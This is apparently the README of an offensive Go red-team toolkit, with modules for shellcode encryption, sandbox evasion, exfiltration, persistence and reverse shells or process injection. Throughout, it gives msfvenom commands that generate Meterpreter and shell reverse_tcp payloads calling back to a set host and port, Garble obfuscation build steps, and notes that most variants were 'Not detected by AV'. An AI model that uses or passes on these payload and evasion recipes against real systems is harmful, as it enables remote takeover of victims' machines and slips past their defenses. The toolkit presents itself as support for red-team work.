---
# System prepended metadata

title: OffensiveGolang

---

# OffensiveGolang

![](https://i.imgur.com/YxxEj4T.png)

OffensiveGolang is a collection of offensive Go packs inspired by different repositories. Ideas have been taken from OffensiveGoLang and Ben Kurtz's DEFCON 29 talk.

This repository has some basic implementations and examples that depending on the environment in which they are used can be easily detected by defensive systems. The goal is to support the rapid development of red team tools by providing common functions and with the possibility of improvements by the community.

The different modules presented are the following:

- **Encryption**: Module that allows encrypting the payload shellcode using AES and a 32-byte random key.
- **Evasion**: Based on other projects such as robotgo, functions have been implemented that identify screen dimensions, mouse movements and process information in order to avoid the execution of binaries in sandboxes.
- **Exfil**: Implements functions that allow loading the shellcode from an external web server or sending a screenshot after having used the screenshot method through a POST request.
- **Persistence**: Allows you to create a scheduled task using the methods provided by the taskmaster project. In addition, you can also modify the Windows registry to run a binary at startup.
- **Payloads**: set of methods collected from different repositories that allow from generating a simple reverse shell in Golang to injecting code into the memory of an existing process.
- **Examples**: Different examples using the modules described above.

## Installation

```
go get https://github.com/MrTuxx/OffensiveGolang
```

### Linux

- Installation of dependencies

```
$ sudo apt install gcc libc6-dev
$ sudo apt install libx11-dev xorg-dev libxtst-dev
$ sudo apt install libpng++-dev
$ sudo apt install xcb libxcb-xkb-dev x11-xkb-utils libx11-xcb-dev libxkbcommon-x11-dev libxkbcommon-dev
$ sudo apt install xsel xclip
$ sudo apt install gcc-multilib
$ sudo apt install gcc-mingw-w64
$ sudo apt install libz-mingw-w64-dev
```

### Windows

- Install Mingw64 and ZLIBx64
    - Extensive Guide: https://github.com/lowkey42/MagnumOpus/wiki/TDM-GCC-Mingw64-Installation

1. Download and install [TDM GCC Mingw64](https://jmeubank.github.io/tdm-gcc/)
    add \TDM\bin to PATH
2. Download and unzip [ZLIBx64](http://sourceforge.net/projects/mingw-w64/files/External%20binary%20packages%20(Win64%20hosted)/Binaries%20(64-bit))
3. copy _\zlib\bin to \TDM\bin
4. copy \zlib\include to \TDM\include
5. copy \zlib\lib to \TDM\lib

### Golang dependencies

```
$ go get github.com/go-vgo/robotgo
$ go get github.com/mitchellh/go-ps
$ go get github.com/pbberlin/tools/conv
$ go get github.com/kbinani/screenshot
```

## Compilation

### On Windows

- Install Garble to obfuscate Go builds: https://github.com/burrowers/garble
    - `go install mvdan.cc/garble@latest`
>NOTE: Go declarations exported for cgo via //export are not obfuscated.

#### Portable Executable (PE)

##### Go build
```
go build -ldflags='-w -s' file.go -o output.exe
```
##### Garble
```
garble -literals -seed=random -tiny build -o output.exe
```
#### Dynamic link library (DLL)

##### Go build
```
go build -o output.dll -buildmode=c-shared file.go
```
##### Garble
```
garble -literals -seed=random -tiny build -buildmode=c-shared -o output.dll
```
### On Linux

>NOTE: If you don't use garble to obfuscate the binary, sensitive information is disclosed.

#### Portable Executable (PE)

##### Go build
```
env GOOS=windows GOARCH=amd64 CGO_ENABLED=1 CC=x86_64-w64-mingw32-gcc-posix CXX=x86_64-w64-mingw32-g++-posix CGO_CFLAGS="`go env CGO_CFLAGS` -I/usr/local/x86_64-w64-mingw32/include" CGO_LDFLAGS="`go env CGO_LDFLAGS` -L/usr/local/x86_64-w64-mingw32/lib -L/usr/local/x86_64-w64-mingw32/lib" go build -x -trimpath -ldflags="-w -s -extldflags -static" -o output.exe file.go
```
#### Dynamic link library (DLL)

##### Go build
```
env GOOS=windows GOARCH=amd64 CGO_ENABLED=1 CC=x86_64-w64-mingw32-gcc-posix CXX=x86_64-w64-mingw32-g++-posix CGO_CFLAGS="`go env CGO_CFLAGS` -I/usr/local/x86_64-w64-mingw32/include" CGO_LDFLAGS="`go env CGO_LDFLAGS` -L/usr/local/x86_64-w64-mingw32/lib -L/usr/local/x86_64-w64-mingw32/lib" go build -x -trimpath -ldflags="-w -s -extldflags -static" -buildmode=c-shared -o output.dll file.go
```
## Examples

### Shellcode generation and encryption
```
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=<IP> -o output.txt -b "\x00" EXITFUNC=thread LPORT=<PORT> -f c --smallest
```

Use the encryption module:
```
package main

import "OffensiveGolang/pkg/encryption"

func main() {

	encryption.GetEncryption("<SHELLCODE>")

}
```
```
go run cmd/main.go
```
### Simple Go Reverse Shell

- Simple Golang connection **(UPDATE: Not detected by AV as of 19/03/2022)**
```
$ cd examples\reverse_shell
$ garble -literals -seed=random -tiny build -o output.exe
```
![](https://i.imgur.com/fySYfUp.png =100%x100%)

### Simple Go Reverse Shell in a dll
- Simple Golang connection **(UPDATE: Not detected by AV as of 19/03/2022)**
```
$ cd examples\reverse_shell_dll
$ go build -o output.dll -buildmode=c-shared reverse_shell_dll.go
```
![](https://i.imgur.com/N9LiWuo.png =100%x100%)


### CreateThread

#### Dynamic link library (DLL)

- Meterpreter Staged Payload with Encryption Module implemented. **(UPDATE: Not detected by AV as of 19/03/2022)**
```
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.21 -o /opt/Offensive-Golang/payload.txt -b "\x00" EXITFUNC=thread LPORT=443 -f c --smallest
```
![](https://i.imgur.com/yfb4fMw.png =100%x100%)

>NOTE: Some msf commands trigger the AV

#### Portable Executable (PE)

- Meterpreter Staged Payload with Evasion and Encryption Module implemented. **(UPDATE: Detected by AV as of 19/03/2022)**
```
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.21 -o /opt/Offensive-Golang/payload.txt -b "\x00" EXITFUNC=thread LPORT=443 -f c --smallest
```
- Reverse Shell Staged Payload with Evasion and Encryption Module implemented.**(UPDATE: Not detected by AV as of 19/03/2022)**

```
msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.0.21 -o /opt/Offensive-Golang/payload2.txt -b "\x00" EXITFUNC=thread LPORT=443 -f c --smallest
```
![](https://i.imgur.com/HZWJnbV.png =100%x100%)

### RemoteThread

#### Dynamic link library (DLL)

- Reverse Shell Staged Payload downladed from external web server with Evasion and Encryption Module implemented. **(UPDATE: Not detected by AV as of 19/03/2022)**
```
msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.0.21 -o /opt/Offensive-Golang/payload2.txt -b "\x00" EXITFUNC=thread LPORT=443 -f c --smallest
```
![](https://i.imgur.com/3JfL6Nv.png =100%x100%)

#### Portable Executable (PE)

- Meterpreter Staged Payload downladed from external web server with Evasion and Encryption Module implemented. **(UPDATE: Not detected by AV as of 19/03/2022)**
```
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.21 -o /opt/Offensive-Golang/payload.txt -b "\x00" EXITFUNC=thread LPORT=443 -f c --smallest
```
![](https://i.imgur.com/wgGHWr4.png =100%x100%)

>NOTE: Some msf commands trigger the AV

### Syscall

#### Dynamic link library (DLL)
- Meterpreter Staged Payload with Evasion Module implemented. **(UPDATE: Not detected by AV as of 19/03/2022)**
```
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.21 -o /opt/Offensive-Golang/payload.txt -b "\x00" EXITFUNC=thread LPORT=443 -f c --smallest
```
![](https://i.imgur.com/5iVuw0J.png =100%x100%)

#### Portable Executable (PE)

- Meterpreter Staged Payload downladed from external web server with Evasion and Encryption Module implemented. **(UPDATE: Detected by AV as of 19/03/2022)**
```
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.21 -o /opt/Offensive-Golang/payload.txt -b "\x00" EXITFUNC=thread LPORT=443 -f c --smallest
```
- Reverse Shell Staged Payload downladed from external web server with Evasion and Encryption Module implemented. **(UPDATE: Not detected by AV as of 19/03/2022)**
```
msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.0.21 -o /opt/Offensive-Golang/payload2.txt -b "\x00" EXITFUNC=thread LPORT=443 -f c --smallest
```
### Persistence

- Task scheduled with malicious dll using syscall

![](https://i.imgur.com/CxWTgL5.png =100%x100%)

## References

- Installation
    - https://github.com/go-vgo/robotgo#installation
    - https://github.com/lowkey42/MagnumOpus/wiki/TDM-GCC-Mingw64-Installation#zlib-x64
    - https://stackoverflow.com/questions/58793857/robotgo-for-windows-10-fatal-error-zlib-h-no-such-file-or-directory
- Obfuscation
    - https://github.com/unixpickle/gobfuscate
    - https://github.com/burrowers/garble
    - https://github.com/goretk/redress
    - https://github.com/josephspurrier/goversioninfo
    - https://github.com/Tylous/Limelighter
- Golang Offensive Tools
    - https://github.com/Binject/go-donut
    - https://github.com/optiv/ScareCrow
    - https://github.com/vyrus001/go-mimikatz
    - https://www.symbolcrash.com/2021/03/02/go-assembly-on-the-arm64/
    - https://github.com/awgh/cppgo
    - https://github.com/Binject/awesome-go-security
    - https://www.symbolcrash.com/2019/02/23/introducing-symbol-crash/
    - https://go.dev/doc/effective_go
    - https://github.com/redcode-labs/Coldfire
    - https://medium.com/@justen.walker/breaking-all-the-rules-using-go-to-call-windows-api-2cbfd8c79724
    - https://medium.com/@mat285/encrypting-streams-in-go-6cff6062a107
    - https://blog.jan0ski.net/golang/index.html
    - https://github.com/brimstone/go-shellcode/
    - https://github.com/bluesentinelsec/OffensiveGoLang
    - https://github.com/erikgeiser/govenom
    - https://github.com/AllenDang/w32
    - https://gist.github.com/prachauthit/ca7754e07901d09554b8036fb2f11bfd
    - https://github.com/monoxgas/sRDI
    - https://www.youtube.com/watch?v=AGLunpPtOgM
- Interesting projects with Golang
    - https://github.com/audibleblink/dummyDLL
    - https://gist.github.com/NaniteFactory/7a82b68e822b7d2de44037d6e7511734
    - https://github.com/Ne0nd0g/go-shellcode/
    - https://github.com/ropnop/go-clr
    - https://blog.ropnop.com/hosting-clr-in-golang/
    - https://medium.com/@justen.walker/breaking-all-the-rules-using-go-to-call-windows-api-2cbfd8c79724
    - https://stackoverflow.com/questions/67969401/how-to-implement-dllmain-entry-point-in-go
    - https://stackoverflow.com/questions/66586960/windows-dll-injection-with-go
    - https://github.com/lesnuages/go-execute-assembly/
    - https://www.redteam.cafe/red-team/golang/converting-your-go-bins-to-shellcode-and-using-them-in-c
    - https://github.com/golang/go/wiki/cgo
    - https://github.com/NaniteFactory/winmb/blob/master/messagebox.go